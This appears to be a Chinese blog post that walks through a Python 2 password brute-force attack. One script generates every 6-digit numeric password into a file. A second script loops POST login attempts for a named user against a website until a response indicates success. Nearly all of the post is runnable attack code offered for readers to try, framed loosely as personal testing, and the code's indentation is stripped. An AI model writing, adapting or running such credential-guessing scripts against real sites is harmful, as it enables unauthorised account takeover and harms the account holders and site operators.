2025-06-19 15:20:27python 暴力破解密码脚本

python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

首先,该网站登陆的验证要支持 无限次的密码尝试

假设testUser 的密码为 6位的纯数字

1:先长成 6位纯数字密码字典

import os

pds=[]

rg=range(0,10)

for first in rg:

for second in rg:

for three in rg:

for four in rg:

for five in rg:

for six in rg:

num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)

pds.append(num)

file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w')

file_object.writelines(['%s%s' % (x,os.linesep) for x in pds])

file_object.close( )

上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

import urllib,urllib2,HTMLParser

#解析网页的爬虫

class OAParser(HTMLParser.HTMLParser):

def __init__(self):

HTMLParser.HTMLParser.__init__(self)

self.pd=[]

def handle_data(self, data):

#print "Encountered some data :", data

self.pd.append(data)

#暴力破解脚本

def tryLogin(name,pwd):

parm={"loginName":name,

"password":pwd}

url="http://192.**.*.*/***/login/li"

r=urllib2.urlopen(url, urllib.urlencode(parm))

parse=OAParser()

parse.feed(r.read())

parse.close()

isFind=False

if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑

print '尝试密码',pwd,'登陆失败'

isFind = False

else:

print user,'登陆成功','password = ',pwd

isFind=True

del(parse)

return isFind

user='testUser'

#password=['1','12','123','1234','12345','123456','12345678']

fpath='/Users/teso/Desktop/pwdNum6.txt'

pfile=open(fpath,'r')

for onePwd in pfile.readlines():

if tryLogin(user, onePwd[:6]):

break;

流程大致如此,自行研究着玩了